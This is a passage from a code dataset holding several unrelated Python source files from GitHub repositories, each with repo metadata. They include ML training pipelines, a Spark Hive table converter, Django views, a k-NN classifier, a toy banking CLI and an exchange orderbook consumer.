model_pusher_config = model_pusher_config)\n model_pusher_artifact = model_pusher.initiate_model_pusher()\n return model_pusher_artifact\n except Exception as e:\n raise FinanceException(e, sys)\n\n def start(self):\n try:\n data_ingestion_artifact = self.start_data_ingestion()\n \n data_validation_artifact = self.start_data_validation(data_ingestion_artifact=data_ingestion_artifact)\n \n data_transformation_artifact = self.start_data_transformation(data_validation_artifact=data_validation_artifact)\n \n model_trainer_artifact = self.start_model_training(data_transformation_artifact=data_transformation_artifact)\n \n model_evaluation_artifact = self.start_model_evaluation(data_validation_artifact=data_validation_artifact, \n model_trainer_artifact=model_trainer_artifact)\n \n if model_evaluation_artifact.model_accepted:\n self.start_model_pusher(model_trainer_artifact=model_trainer_artifact)\n except Exception as e:\n raise FinanceException(e, sys)","repo_name":"shivanshka/finance-complaint","sub_path":"finance_complaint/pipeline/training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":5716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"5880509467","text":"from bank import Bank\nfrom client import Client\nprint(\"\"\"Welcome to International Bank!\"\"\")\n\ninternational_bank = Bank(\"International\")\nwhile True : \n print(\"\"\" Choose an option:\n 1. Open new bank account\n 2. Open existing bank account\n 3. Exit\"\"\")\n choice = input (\" Your choice : \")\n if choice == \"1\" : \n name = input (\"Name : \")\n total_amount = int(input (\"Deposit Amount : \"))\n client = Client(name,total_amount) #Created new client\n international_bank.add_client(client) #Client object's way sended to bank system (bank_client_list) . \n print(international_bank.clients)\n elif choice == \"2\" :\n print(\"To access your account, please enter your credentials below.\")\n name = input (\"Name : \")\n account_number = int(input(\"Account Number : \"))\n if international_bank.authentication(name,account_number): #confirmed to informations.\n print(f\"Authentication successful!\\nWelcome {name} \")\n while True : \n \"\"\"\n def accessobject(func):\n for i in Bank.clients:\n i.func(func)\"\"\"\n print(\"\"\"Choose an option:\\n1. Withdraw\\n2. Deposit\\n3. Balance\\n4. Exit\"\"\")\n choice2 = input (\"Your choice : \")\n if choice2 == \"1\" :\n withdraw = int(input(\"Withdraw Amount : \"))\n for i in Bank.clients:\n #i is a class of client's object way. we can reach that client's methods\n if i.name == name and i.account_number == account_number : \n i.withdraw(withdraw)\n elif choice2 == \"2\" : \n deposit = int(input(\"Deposit Amount : \"))\n for i in Bank.clients:\n if i.name == name and i.account_number == account_number : \n i.deposit(deposit)\n elif choice2 == \"3\": \n for i in Bank.clients:\n if i.name == name and i.account_number == account_number : \n print(i.balance())\n elif choice2 == \"4\":\n break\n else : \n print(\"Valid Error\")\n elif choice == \"3\" : \n print(\"Have a nice day\")\n break\n else :\n print(\"Valid Error\")\n","repo_name":"omarfaruk305/Fenyx_academy_bootcamp_homeworks","sub_path":"Class5-Python-Module-Week6/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"30833301786","text":"import sys\nimport json\nfrom pyspark.sql import HiveContext\nfrom pyspark.sql import SQLContext\nfrom pyspark.sql import SparkSession\nfrom pyspark import SparkContext, SparkConf\nfrom datetime import datetime, timedelta, date\nfrom string import Template\n\nappName = \"convertTableToExternal\"\n\nspark = SparkSession.builder \\\n .enableHiveSupport() \\\n .appName(appName) \\\n .getOrCreate()\n\nsc = spark.sparkContext\nhc = HiveContext(sc)\nhc.setConf(\"hive.exec.dynamic.partition\", \"true\")\nhc.setConf(\"hive.exec.dynamic.partition.mode\", \"nonstrict\")\n \n\ntnames = sys.argv[1].split(\",\")\npath = sys.argv[2]\n\nfor tname in tnames:\n print(tname)\n\n dbName = tname.split(\".\")[0]\n tableName = tname.split(\".\")[1]\n newTableName = tableName + \"_external\"\n\n df = spark.sql(Template(\"show create table $dbName.$tableName\").substitute(dbName=dbName, tableName = tableName, newTableName = newTableName))\n s = df.collect()[0][0]\n if(s.find(\"CREATE EXTERNAL \") == -1):\n s = s.replace(\"CREATE TABLE\", \"CREATE EXTERNAL TABLE\")\n s = s.replace(\"CLUSTERED BY \", \"--CLUSTERED BY \")\n s = s.replace(\"SORTED BY \", \"--SORTED BY \")\n s = s.replace(\"INTO \", \"--INTO \")\n s = s.replace(\"'transactional'='true'\", \"'transactional'='false'\")\n s = s.replace(\"'transactional' = 'true'\", \"'transactional' = 'false'\")\n sExt = s.replace(Template(\"`$dbName`.`$tableName`\").substitute(dbName=dbName, tableName = tableName), Template(\"`$dbName`.`$newTableName`\").substitute(dbName=dbName, newTableName = newTableName)) + Template(\" location '$path$dbName/$tableName'\").substitute(dbName=dbName, tableName = tableName, path = path)\n print(sExt)\n\n hc.sql(Template(\"drop table if exists `$dbName`.`$newTableName`\").substitute(dbName=dbName, tableName = tableName, newTableName = newTableName))\n hc.sql(sExt)\n hc.sql(Template(\"insert into `$dbName`.`$newTableName` select * from `$dbName`.`$tableName`\").substitute(dbName=dbName, tableName = tableName, newTableName = newTableName))\n\n hc.sql(Template(\"drop table if exists `$dbName`.`$tableName`\").substitute(dbName=dbName, tableName = tableName))\n hc.sql(Template(\"ALTER TABLE `$dbName`.`$newTableName` RENAME TO `$dbName`.`$tableName`\").substitute(dbName=dbName, tableName = tableName, newTableName = newTableName))\n hc.sql(Template(\"drop table if exists `$dbName`.`$newTableName`\").substitute(dbName=dbName, newTableName = newTableName))\n else:\n print(tname + \" already external! skipped.\")","repo_name":"DataLA-sys/datamap","sub_path":"templates/rebuildtable.py","file_name":"rebuildtable.py","file_ext":"py","file_size_in_byte":2443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"21454369352","text":"import pandas as pd\n\nif __name__ == \"__main__\":\n stats = [' NAME', ' AGE', ' SALARY', ' PPG_LAST_SEASON', ' APG_LAST_SEASON', ' RPG_LAST_SEASON', ' POSITION']\n df = pd.read_csv('players.csv').filter(items=stats)\n stat = int(input(\n 'Which stat does your team need?\\n' +\n '1 - AGE\\n2 - SALARY\\n3 - PPG_LAST_SEASON\\n4 - APG_LAST_SEASON\\n5 - RPG_LAST_SEASON\\n6 - POSITION' +\n '\\nYour answer was: '))\n\n players_sorted = df.sort_values(stats[stat], ascending=False)\n print('\\n{} by player:\\n {}\\n'.format(stats[stat], players_sorted.head()))\n\n print('Top player by {}:\\n{}'.format(stats[stat], players_sorted.iloc[0]))","repo_name":"jorperalto/nba-draft-class","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"70220624006","text":"\nn = int(input())\nr, c, s, t = [0, 0, 0, 0]\nfor x in range(1,n+1):\n\tln = input().split()\n\tif ln[1] == \"R\":\n\t\tr = r + int(ln[0])\n\telif ln[1] == \"C\":\n\t\tc = c + int(ln[0])\n\telif ln[1] == \"S\":\n\t\ts = s + int(ln[0])\n\telse:\n\t\tpass\n\tt = t + int(ln[0])\n\nprint(\"Total: {} cobaias\".format(t))\nprint(\"Total de coelhos: {}\".format(c))\nprint(\"Total de ratos: {}\".format(r))\nprint(\"Total de sapos: {}\".format(s))\nprint(\"Percentual de coelhos: {0:.2f} %\".format(c*100/t))\nprint(\"Percentual de ratos: {0:.2f} %\".format(r*100/t))\nprint(\"Percentual de sapos: {0:.2f} %\".format(s*100/t))\n","repo_name":"eliseuegewarth/uri-exercises","sub_path":"beginner/1094/1094.py","file_name":"1094.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"99"} +{"seq_id":"43514212004","text":"from datetime import date\n\nfrom django.db.models import F\n\nfrom ..models.courses import CourseRegistration\nfrom ..models.events import EventRegistration\nfrom ..models.orderables import OrderableRegistration\nfrom ..models.utils import PaymentStatusSum\nfrom .generic import TemplateView\n\n\nclass SummaryView(TemplateView):\n summary = True\n template_name = \"leprikon/summary.html\"\n\n def get_context_data(self, **kwargs):\n payment_status = PaymentStatusSum(0, 0, 0, 0, 0, 0, 0)\n overpaid_registrations = []\n for Registration in (CourseRegistration, EventRegistration, OrderableRegistration):\n for registration in (\n Registration.objects.filter(user=self.request.user)\n .annotate(\n refund_bank_account=F(\"refund_request__bank_account\"),\n )\n .iterator()\n ):\n payment_status += registration.payment_status\n if registration.payment_status.overpaid:\n overpaid_registrations.append(registration)\n context = super().get_context_data(**kwargs)\n context[\"user\"] = self.request.user\n context[\"payment_status\"] = payment_status\n context[\"overpaid_registrations\"] = overpaid_registrations\n context[\"new_messages\"] = self.request.user.leprikon_messages.filter(viewed=None)\n return context\n\n\nclass LeaderSummaryView(TemplateView):\n summary = True\n template_name = \"leprikon/leader_summary.html\"\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context[\"subjects\"] = self.request.leader.subjects.filter(school_year=self.request.school_year)\n context[\"timesheets\"] = self.request.leader.timesheets.filter(submitted=False, period__end__lte=date.today())\n return context\n","repo_name":"leprikon-cz/leprikon","sub_path":"leprikon/views/summaries.py","file_name":"summaries.py","file_ext":"py","file_size_in_byte":1845,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"99"} +{"seq_id":"33087371217","text":"# -*- coding: utf-8 -*-\nfrom __future__ import (absolute_import, division, print_function)\nimport numpy as np\nimport pandas as pd\nimport scipy.spatial.distance as dist\nfrom sklearn.utils import shuffle\nfrom sklearn.model_selection import train_test_split\n#import random as rd\n#import matplotlib.pyplot as plt\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.neighbors import KNeighborsClassifier\n\n\nclass KnnModel(object):\n @staticmethod\n def check_k(K, x_train):\n if not isinstance(K, np.ndarray):\n raise TypeError(\"K must be as type of np.ndarray\")\n \n if (min(K) <= 0) or (max(K) > len(x_train)):\n raise ValueError(\"K must be in range [1, N]\")\n \n for k in K:\n if not isinstance(k, np.int32):\n raise TypeError(\"the element of K must be as type of np.int32\")\n return None\n \n \n def __init__(self, K, metric):\n self.K = K\n self.metric = metric\n \n \n def z_scale(self, x_train):\n '''z标准化,在动用距离度量的算法中,必须先进行标准化以消除数据量纲的影响'''\n mu = np.mean(x_train, axis=0)\n std = np.std(x_train, axis=0)\n return mu, std\n \n \n def data_transform(self, mu, std, x_train, x_test):\n '''数据变��,执行标准化操作'''\n x_train_scale = (x_train - mu) / std\n x_test_scale = (x_test - mu) / std\n return x_train_scale, x_test_scale\n \n \n def l1(self, x1, x2):\n '''曼哈顿距离'''\n return np.sum(np.abs(x1 - x2))\n \n \n def l2(self, x1, x2):\n '''欧氏距离'''\n return np.sqrt(np.sum((x1 - x2)**2))\n \n \n def cosine(self, x1, x2):\n '''余弦距离'''\n return 1 - x1.dot(x2) / (np.sqrt(np.sum(x1**2)) * np.sqrt(np.sum(x2**2)))\n \n \n def fit(self, x_train_scale, y_train):\n '''模型训练,针对KNN,其实没有显示的学习过程,所谓的训练其主要目的就是选择合适的k值'''\n # 训练样本量\n N = len(x_train_scale)\n # 适配距离函数\n if self.metric == \"l1\":\n m = self.l1\n elif self.metric == \"l2\":\n m = self.l2\n elif self.metric == \"cosine\":\n m = self.cosine\n else:\n raise ValueError(\"metric must be 'l1', 'l2' or 'cosine'\")\n # 计算样本两两距离,形成距离方阵\n #dist_train = dist.cdist(x_train_scale, x_train_scale, metric=\"euclidean\")\n dist_train = dist.cdist(x_train_scale, x_train_scale, metric=m)\n dist_train = pd.DataFrame(dist_train)\n # 迭代,选择最优的k值\n loss_list = []\n for k in K:\n loss_res = 0\n for idx in dist_train.index:\n # 为每个样本计算k近邻索引\n k_nearest_idx = dist_train.iloc[idx, :].sort_values(ascending=True)[1:k+1].index\n # 得到k近邻的类别标记\n c = y_train[k_nearest_idx]\n # 计算误分类率\n loss = sum(y_train[idx] != c) / k\n loss_res += loss\n # 总体误分类率\n loss_res /= N\n loss_list.append(loss_res)\n # 取误分类率最小的k为最优值\n k_best = K[np.argmin(loss_list)]\n print(f\"误分类率列表:\\n{loss_list} \\n最优的k:{k_best}\")\n return k_best\n \n \n def predict(self, x_train_scale, x_test_scale, y_train, k_best):\n '''模型预测,每个样本的预测类别 = 该样本所属的以 k 为范围的邻域内所有训练样本类别的投票值'''\n # 适配距离函数\n if self.metric == \"l1\":\n m = self.l1\n elif self.metric == \"l2\":\n m = self.l2\n elif self.metric == \"cosine\":\n m = self.cosine\n else:\n raise ValueError(\"metric must be 'l1', 'l2' or 'cosine'\")\n # 计算测试集样本与训练集样本的两两距离\n dist_test = dist.cdist(x_test_scale, x_train_scale, metric=m)\n dist_test = pd.DataFrame(dist_test)\n # 执行预测,找到以 k 为范围的邻域内所有训练样本类别的投票值\n y_pred = []\n for i in range(len(dist_test)):\n k_nearest_idx = dist_test.iloc[i, :].sort_values(ascending=True)[0:k_best].index\n c = y_train[k_nearest_idx]\n label, label_count = np.unique(c, return_counts=True)\n y_hat = label[np.argmax(label_count)]\n y_pred.append(y_hat)\n return y_pred\n \n \n def get_score(self, y_true, y_pred):\n '''模型评估'''\n score = sum(y_true == y_pred) / len(y_true)\n return score\n \n\nif __name__ == \"__main__\":\n # 构造多分类数据集\n n1 = 20\n x1 = np.random.uniform(low=1, high=5, size=[n1, 4]) + np.random.randn(n1, 4)*0.01\n y1 = np.tile(0, n1)\n \n n2 = 10\n x2 = np.random.uniform(low=6, high=10, size=[n2, 4]) + np.random.randn(n2, 4)*0.01\n y2 = np.tile(1, n2)\n \n n3 = 30\n x3 = np.random.uniform(low=8, high=20, size=[n3, 4]) + np.random.randn(n3, 4)*0.01\n y3 = np.tile(2, n3)\n \n x = np.concatenate([x1, x2, x3], axis=0)\n y = np.concatenate([y1, y2, y3])\n \n x, y = shuffle(x, y, random_state=0)\n x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.2)\n \n K = np.array([3, 5, 7, 9, 11, 15, 20]).astype(np.int32)\n \n # 手写 k-NN\n model = KnnModel(K=K, metric=\"l2\")\n model.check_k(K, x_train)\n \n mu, std = model.z_scale(x_train)\n x_train_scale, x_test_scale = model.data_transform(mu, std, x_train, x_test)\n k_best = model.fit(x_train_scale, y_train)\n \n y_pred = model.predict(x_train_scale, x_test_scale, y_train, k_best)\n score = model.get_score(y_test, y_pred)\n print(f\"KnnModel 预测准确率:{score}\")\n \n # sklearn\n scale = StandardScaler(with_mean=True, with_std=True)\n scale.fit(x_train)\n x_train_scale = scale.transform(x_train)\n x_test_scale = scale.transform(x_test)\n \n clf = KNeighborsClassifier(n_neighbors=5, algorithm=\"kd_tree\", metric=\"euclidean\")\n clf.fit(x_train_scale, y_train)\n y_pred = clf.predict(x_test_scale)\n score = sum(y_test == y_pred) / len(y_test)\n print(f\"KnnSklearn 预测准确率:{score}\")\n","repo_name":"Lukaschen1986/mla_test","sub_path":"statistical_learning/k-NN.py","file_name":"k-NN.py","file_ext":"py","file_size_in_byte":6350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"13157672315","text":"import string\nimport random\n\n# Remove all whitespaces\ns = string.printable.strip()\n\n# Create secret key\nsecret = ''.join(random.choice(s) for _ in range(50))\n\n# Write secret key to file\nf = open('/opt/stack/etc/django.secret','w')\nf.write(\"%s\\n\" % secret)\nf.close()\n","repo_name":"Teradata/stacki","sub_path":"common/src/stack/ws/setup/django_secret.py","file_name":"django_secret.py","file_ext":"py","file_size_in_byte":266,"program_lang":"python","lang":"en","doc_type":"code","stars":232,"dataset":"github-code","pt":"99"} +{"seq_id":"22731554449","text":"import pyximport; pyximport.install()\nimport json\nimport os\nimport subprocess\n\nfrom delorean import epoch\nfrom raven import Client\n\nimport gryphon.data_service.consts as consts\nfrom gryphon.data_service.queue_consumer import QueueConsumer\nfrom gryphon.lib import session\nfrom gryphon.lib.models.emeraldhavoc.orderbook import Orderbook\n\n\ns = Client(dsn=os.environ.get('SENTRY_DSN'))\n\n\ndef orderbook_consumer_function(message, db):\n subprocess.call([\"touch\", \"monit/heartbeat/orderbook_consumer.txt\"])\n\n ob = json.loads(message)\n\n assert len(ob.keys()) == 2\n\n exchange_name = list(set(ob.keys()) - set(['timestamp'])).pop()\n timestamp = ob['timestamp']\n orderbook_data = ob[exchange_name]\n\n orderbook = Orderbook(\n exchange_name,\n orderbook=orderbook_data,\n timestamp=epoch(timestamp).datetime,\n )\n\n db.add(orderbook)\n session.commit_mysql_session(db)\n\n\ndef main():\n db = session.get_a_gds_db_mysql_session()\n\n try:\n orderbook_consumer = QueueConsumer(\n os.environ.get('AMPQ_ADDRESS'),\n orderbook_consumer_function,\n db,\n consts.EXCHANGE,\n consts.EXCHANGE_TYPE,\n consts.ORDERBOOK_BINDING_KEY,\n consts.ORDERBOOK_QUEUE,\n )\n\n orderbook_consumer.run()\n except KeyboardInterrupt:\n orderbook_consumer.stop()\n except:\n s.captureException()\n finally:\n db.remove()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"garethdmm/gryphon","sub_path":"gryphon/data_service/orderbook_consumer.py","file_name":"orderbook_consumer.py","file_ext":"py","file_size_in_byte":1479,"program_lang":"python","lang":"en","doc_type":"code","stars":1043,"dataset":"github-code","pt":"99"} +{"seq_id":"70680037446","text":"from datetime import datetime, timedelta\n\nfrom django.contrib.auth import get_user_model\nfrom django.db.models import Q, Prefetch\nfrom django.shortcuts import get_object_or_404\nfrom rest_framework import viewsets, permissions, generics\nfrom rest_framework.decorators import action\nfrom rest_framework.response import Response\n\nfrom backend.paginators import SmallResultsCursorPagination\nfrom groups.models import Group\nfrom notifications.models import LikeNotification\nfrom users.models import FriendRequest\nfrom .models import Post\nfrom .permissions import IsPostOwnerOrReadOnly\nfrom .serializers import PostSerializer, PostCreateSerializer, PostEditSerializer\n\nUser = get_user_model()\n\n\nclass PostViewSet(viewsets.ModelViewSet):\n queryset = Post.objects.all(\n ).prefetch_related(\n Prefetch('likes'),\n ).select_related(\n 'author',\n 'group'\n )\n permission_classes = [permissions.IsAuthenticated, IsPostOwnerOrReadOnly]\n\n def get_serializer_class(self):\n if self.action in ['create']:\n return PostCreateSerializer\n elif self.action in ['update', 'partial_update']:\n return PostEditSerializer\n return PostSerializer\n\n @action(detail=True, methods=['post'])\n def like_unlike(self, request, pk=None):\n \"\"\"\n Поставить/убрать лайк с поста\n \"\"\"\n post = self.get_object()\n user = request.user\n\n if user in post.likes.all():\n post.likes.remove(user)\n else:\n post.likes.add(user)\n\n if post.author != user:\n LikeNotification.objects.create(\n type='like',\n from_user=user,\n to_user=post.author,\n item=post\n )\n\n serializer = self.get_serializer(post)\n\n return Response(serializer.data)\n\n\nclass PostsByUser(generics.ListAPIView):\n serializer_class = PostSerializer\n pagination_class = SmallResultsCursorPagination\n\n def get_queryset(self):\n user = get_object_or_404(User, id=self.kwargs['pk'])\n return Post.objects.filter(author=user, group=None).prefetch_related(\n Prefetch('likes'),\n ).select_related(\n 'author',\n 'group'\n )\n\n\nclass PostsByGroup(generics.ListAPIView):\n serializer_class = PostSerializer\n pagination_class = SmallResultsCursorPagination\n\n def get_queryset(self):\n group = get_object_or_404(Group, id=self.kwargs['pk'])\n return Post.objects.filter(group=group).prefetch_related(\n Prefetch('likes'),\n ).select_related(\n 'author',\n 'group'\n )\n\n\nclass UserFeed(generics.ListAPIView):\n serializer_class = PostSerializer\n pagination_class = SmallResultsCursorPagination\n\n def get_queryset(self):\n \"\"\"\n Получение новостей пользователя.\n\n Новости формируются из указанных ниже типов постов(сделанных не позже 30 дней назад):\n - постов друзей\n - постов людей, на которых подписан пользователь\n - постов групп, на которых подписан пользователь\n - постов пользователя\n \"\"\"\n user = self.request.user\n groups = Group.objects.get_groups_by_user(user)\n friends = user.friends.all()\n following_users = (FriendRequest.objects.sent(user)).values_list('to_user', flat=True)\n week_ago = datetime.now() - timedelta(days=30)\n\n return Post.objects.filter((\n Q(author__in=friends, group=None) |\n Q(author__in=following_users, group=None) |\n Q(group__in=groups) | Q(author=user)) &\n Q(created_at__gte=week_ago)\n ).order_by('-created_at').prefetch_related(\n Prefetch('likes'),\n ).select_related(\n 'author',\n 'group'\n )\n","repo_name":"Murl1k/Sonet","sub_path":"backend/posts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4232,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"99"} +{"seq_id":"42848966930","text":"from matplotlib import pyplot as plt\nfrom matplotlib.offsetbox import AnchoredText\n\n\ndef main():\n\n epoch = []\n\n train_total = []\n train_img = []\n train_xy = []\n train_dis = []\n\n valid_total = []\n valid_img = []\n valid_xy = []\n valid_dis = []\n\n test_total = []\n test_img = []\n test_xy = []\n test_dis = []\n\n with open(file_path, 'r') as log:\n for line in log.readlines()[start_line: end_line]:\n if not line.startswith('epoch'):\n continue\n line = line.strip().split(',')\n\n epoch.append(int(line[0].split()[-1]))\n\n train_total.append(8*float(line[1].split()[1]))\n train_img.append(8*float(line[1].split()[2]))\n train_xy.append(8*float(line[1].split()[3]))\n train_dis.append(float(line[1].split()[4]))\n\n valid_total.append(8*float(line[2].split()[1]))\n valid_img.append(8*float(line[2].split()[2]))\n valid_xy.append(8*float(line[2].split()[3]))\n valid_dis.append(float(line[2].split()[4]))\n\n test_total.append(8*float(line[3].split()[1]))\n test_img.append(8*float(line[3].split()[2]))\n test_xy.append(8*float(line[3].split()[3]))\n test_dis.append(float(line[3].split()[4]))\n\n print(epoch)\n\n fig = plt.figure(figsize=[24, 18])\n # plt.title('Batch Size {}, t size {}, img loss weight {}, \\n lr {} aug {}'.format(8, 16, 2e-5, 1e-4, 'Pre-Aug'),\n # fontsize=20)\n\n ax = fig.add_subplot(2, 2, 1)\n ax.plot(epoch, train_total, 'b-', linewidth=2, label='train')\n ax.plot(epoch, valid_total, 'r-', linewidth=2, label='valid')\n ax.plot(epoch, test_total, 'g-', linewidth=2, label='test')\n ax.set_xlabel('Epoch', fontsize=30)\n ax.set_ylabel('Loss', fontsize=30)\n ax.tick_params(axis='x', labelsize=20)\n ax.tick_params(axis='y', labelsize=20)\n ax.legend(loc='upper right', prop={'size': 20})\n ax.grid()\n ax.text(.5, .9, 'Total Weighted Loss', horizontalalignment='center', transform=ax.transAxes, fontsize=20)\n\n ax = fig.add_subplot(2, 2, 3)\n ax.plot(epoch, train_img, 'b-', linewidth=2, label='train')\n ax.plot(epoch, valid_img, 'r-', linewidth=2, label='valid')\n ax.plot(epoch, test_img, 'g-', linewidth=2, label='test')\n ax.set_xlabel('Epoch', fontsize=30)\n ax.set_ylabel('Img_Loss', fontsize=30)\n ax.tick_params(axis='x', labelsize=20)\n ax.tick_params(axis='y', labelsize=20)\n ax.grid()\n ax.legend(loc='upper right', prop={'size': 20})\n ax.text(.5, .9, 'Image Loss', horizontalalignment='center', transform=ax.transAxes, fontsize=20)\n\n ax = fig.add_subplot(2, 2, 2)\n ax.plot(epoch, train_xy, 'b-', linewidth=2, label='train')\n ax.plot(epoch, valid_xy, 'r-', linewidth=2, label='valid')\n ax.plot(epoch, test_xy, 'g-', linewidth=2, label='test')\n ax.set_xlabel('Epoch', fontsize=30)\n ax.set_ylabel('XY_Loss', fontsize=30)\n ax.tick_params(axis='x', labelsize=20)\n ax.tick_params(axis='y', labelsize=20)\n ax.grid()\n ax.legend(loc='upper right', prop={'size': 20})\n ax.text(.5, .9, 'Point Loss', horizontalalignment='center', transform=ax.transAxes, fontsize=20)\n\n ax = fig.add_subplot(2, 2, 4)\n ax.plot(epoch, train_dis, 'b-', linewidth=2, label='train')\n ax.plot(epoch, valid_dis, 'r-', linewidth=2, label='valid')\n ax.plot(epoch, test_dis, 'g-', linewidth=2, label='test')\n ax.set_xlabel('Epoch', fontsize=30)\n ax.set_ylabel('Point Distance', fontsize=30)\n ax.tick_params(axis='x', labelsize=20)\n ax.tick_params(axis='y', labelsize=20)\n ax.grid()\n ax.legend(loc='upper right', prop={'size': 20})\n # anchored_text = AnchoredText('Batch Size {}, t size {}, img loss weight {}, \\n'\n # ' lr {} aug {}'.format(8, 16, 2e-5, 1e-4, 'Pre-Aug'),\n # loc='upper center', prop=dict(fontweight='normal', size=12)\n # )\n # ax.add_artist(anchored_text)\n # plt.show()\n\n plt.show()\n\n\nif __name__ == '__main__':\n file_dir = '/home/liuwei/Angio/Models/MainCurve_LAO/'\n file_name = 'model2_C32D2O5I5FL0_6_log_mod'\n file_path = file_dir + file_name\n start_line = 0\n end_line = None\n main()\n","repo_name":"wany0011/BS6211","sub_path":"Angio_RCA/LossCurvePlot.py","file_name":"LossCurvePlot.py","file_ext":"py","file_size_in_byte":4256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"39999947608","text":"from enum import Enum\n\n\nclass RStatus(Enum):\n \"\"\"\n represents all status of a job application.\n Note: Originally represents all the request status, but Request table is no longer\n being used.\n the lifecycle of an application is:\n -> ACCEPTED\n -> OFFER -\n -> INTERVIEW - -> DECLINED\n APPLIED - -> REJECTED (candidate did not pass the interview)\n -> DECLINED (candidate declined interview request)\n -> REJECTED (candidate did not pass initial screening)\n \"\"\"\n APPLIED = 1\n INTERVIEW = 2\n OFFER = 3\n ACCEPTED = 4\n DECLINED = 5\n REJECTED = 6\n\n def __str__(self):\n \"\"\" Overloads str method. \"\"\"\n return 'RStatus(sid = ' + str(self.value) + ', name = ' + self.name + ')'\n","repo_name":"UTSCCSCC01/project-epsilon","sub_path":"epsilon/classes/RStatus.py","file_name":"RStatus.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"99"} +{"seq_id":"28813848894","text":"import os\r\nimport cv2\r\nimport random\r\nimport warnings\r\nimport numpy as np\r\nimport pandas as pd\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.metrics import confusion_matrix, cohen_kappa_score\r\nfrom keras.models import Model\r\nfrom keras import optimizers, applications\r\nfrom keras.preprocessing.image import ImageDataGenerator\r\nfrom keras.callbacks import EarlyStopping, ReduceLROnPlateau\r\nfrom keras.layers import Dense, Dropout, GlobalAveragePooling2D, Input\r\nimport tensorflow\r\n\r\nwarnings.filterwarnings(\"ignore\")\r\n\r\ntrain = pd.read_csv(r'C:\\Users\\Pranav Kukreja\\Desktop\\Hackathon\\aptos2019-blindness-detection\\train.csv')\r\ntest = pd.read_csv(r'C:\\Users\\Pranav Kukreja\\Desktop\\Hackathon\\aptos2019-blindness-detection\\test.csv')\r\n\r\n# Model parameters\r\nBATCH_SIZE = 8\r\nEPOCHS = 6\r\nWARMUP_EPOCHS = 2\r\nLEARNING_RATE = 1e-4\r\nWARMUP_LEARNING_RATE = 1e-3\r\nHEIGHT = 224\r\nWIDTH = 224\r\nCANAL = 3\r\nN_CLASSES = train['diagnosis'].nunique()\r\nES_PATIENCE = 5\r\nRLROP_PATIENCE = 3\r\nDECAY_DROP = 0.5\r\n\r\n# Preprocecss data\r\ntrain[\"id_code\"] = train[\"id_code\"].apply(lambda x: x + \".png\")\r\ntest[\"id_code\"] = test[\"id_code\"].apply(lambda x: x + \".png\")\r\ntrain['diagnosis'] = train['diagnosis'].astype('str')\r\ntrain.head()\r\n\r\ntrain_datagen=ImageDataGenerator(rescale=1./255, \r\n validation_split=0.2,\r\n horizontal_flip=True)\r\n\r\ntrain_generator=train_datagen.flow_from_dataframe(\r\n dataframe=train,\r\n directory=r\"C:\\Users\\Pranav Kukreja\\Desktop\\Hackathon\\aptos2019-blindness-detection\\train_images\",\r\n x_col=\"id_code\",\r\n y_col=\"diagnosis\",\r\n batch_size=BATCH_SIZE,\r\n class_mode=\"categorical\",\r\n target_size=(HEIGHT, WIDTH),\r\n subset='training')\r\n\r\nvalid_generator=train_datagen.flow_from_dataframe(\r\n dataframe=train,\r\n directory=r\"C:\\Users\\Pranav Kukreja\\Desktop\\Hackathon\\aptos2019-blindness-detection\\train_images\",\r\n x_col=\"id_code\",\r\n y_col=\"diagnosis\",\r\n batch_size=BATCH_SIZE,\r\n class_mode=\"categorical\", \r\n target_size=(HEIGHT, WIDTH),\r\n subset='validation')\r\n\r\ntest_datagen = ImageDataGenerator(rescale=1./255)\r\n\r\ntest_generator = test_datagen.flow_from_dataframe( \r\n dataframe=test,\r\n directory = r\"C:\\Users\\Pranav Kukreja\\Desktop\\Hackathon\\aptos2019-blindness-detection\\test_images\",\r\n x_col=\"id_code\",\r\n target_size=(HEIGHT, WIDTH),\r\n batch_size=1,\r\n shuffle=False,\r\n class_mode=None)\r\n\r\ndef create_model(input_shape, n_out):\r\n input_tensor = Input(shape=input_shape)\r\n base_model = applications.ResNet50(weights=\"imagenet\", \r\n include_top=False,\r\n input_tensor=input_tensor,\r\n input_shape=(None))\r\n \r\n\r\n x = GlobalAveragePooling2D()(base_model.output)\r\n x = Dropout(0.5)(x)\r\n x = Dense(2048, activation='relu')(x)\r\n x = Dropout(0.5)(x)\r\n final_output = Dense(n_out, activation='softmax', name='final_output')(x)\r\n model = Model(input_tensor, final_output)\r\n \r\n return model\r\n\r\nmodel = create_model(input_shape=(HEIGHT, WIDTH, CANAL), n_out=N_CLASSES)\r\n\r\nfor layer in model.layers:\r\n layer.trainable = False\r\n\r\nfor i in range(-5, 0):\r\n model.layers[i].trainable = True\r\n\r\nmetric_list = [\"accuracy\"]\r\noptimizer = optimizers.Adam(lr=WARMUP_LEARNING_RATE)\r\nmodel.compile(optimizer=optimizer, loss=\"categorical_crossentropy\", metrics=metric_list)\r\n\r\nSTEP_SIZE_TRAIN = train_generator.n//train_generator.batch_size\r\nSTEP_SIZE_VALID = valid_generator.n//valid_generator.batch_size\r\n\r\nhistory_finetunning = model.fit_generator(generator=train_generator,\r\n steps_per_epoch=STEP_SIZE_TRAIN,\r\n 